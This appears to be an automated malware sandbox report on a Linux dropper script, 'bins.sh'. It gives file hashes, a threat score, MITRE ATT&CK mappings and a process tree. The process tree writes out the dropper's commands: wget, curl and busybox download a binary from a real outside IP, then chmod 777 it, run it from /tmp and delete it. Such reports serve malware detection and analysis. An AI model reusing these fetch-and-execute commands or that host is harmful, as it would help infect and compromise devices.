b594f506a2b2e54b98f320880c32150a5c66038299c0f69d9f7105521f0b89ad

Analysis

max time kernel
5s
max time network
37s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
24-11-2024 06:16

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General

Target

bins.sh
Size

10KB
MD5

b643808c01faa0f92bf870288eb8dd16
SHA1

494306996b3ee0573b6da340ee334523cd39f9eb
SHA256

b594f506a2b2e54b98f320880c32150a5c66038299c0f69d9f7105521f0b89ad
SHA512

f8e2bed091a7cf127f3feadc979a7ee81e9835a68b98f78afc737f354cdf3348e42f4551cc47d805e0734fd77e02963e665aad84c33c02e18395f86754ae24cb
SSDEEP

96:+Hb3G9hf3INVTX1G+Emzer6e0D7tAokHbrf3+PTX1G+1emzer6wN6W:+Hb3VvTX1G+EmzereTX1G+Mmzerx

Score

7^/10

antivm defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
defense_evasion

Linux and Mac File and Directory Permissions Modification
T1222.002

Processes:

chmod

pid process

707 chmod
Executes dropped EXE 1 IoCs

Processes:

Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN59

ioc pid process

/tmp/Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN59 709 Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN59
Checks CPU configuration 1 TTPs 1 IoCs
Checks CPU information which indicate if the system is a virtual machine.
antivm

System Checks
T1497.001

Processes:

curl

description ioc process

File opened for reading /proc/cpuinfo curl
Reads runtime system information 2 IoCs
Reads data from /proc virtual filesystem.
discovery

Processes:

curl

description ioc process

File opened for reading /proc/sys/crypto/fips_enabled curl
File opened for reading /proc/self/auxv curl

pid	process
707	chmod

ioc	pid	process
/tmp/Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN59	709	Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN59

description	ioc	process
File opened for reading	/proc/cpuinfo	curl

description	ioc	process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl

Writes file to tmp directory 3 IoCs

Malware often drops required files in the /tmp directory.

Processes:

wgetcurlbusybox

description	ioc	process
File opened for modification	/tmp/Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN59	wget
File opened for modification	/tmp/Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN59	curl
File opened for modification	/tmp/Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN59	busybox

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:645
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:647
- /usr/bin/wget
  wget http://216.126.231.240/bins/Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN59
  2⤵
  - Writes file to tmp directory
  PID:653
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN59
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:677
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN59
  2⤵
  - Writes file to tmp directory
  PID:699
- /bin/chmod
  chmod 777 Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN59
  2⤵
  - File and Directory Permissions Modification
  PID:707
- /tmp/Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN59
  ./Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN59
  2⤵
  - Executes dropped EXE
  PID:709
- /bin/rm
  rm Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN59
  2⤵
  PID:714
- /usr/bin/wget
  wget http://216.126.231.240/bins/RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7
  2⤵
  PID:716

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN59

Filesize
107KB

MD5
eb9c3a0de91fcf16ba17cb24608df68c

SHA1
09d95a7d70d5e115d103be51edff7c498d272fac

SHA256
dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

SHA512
9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

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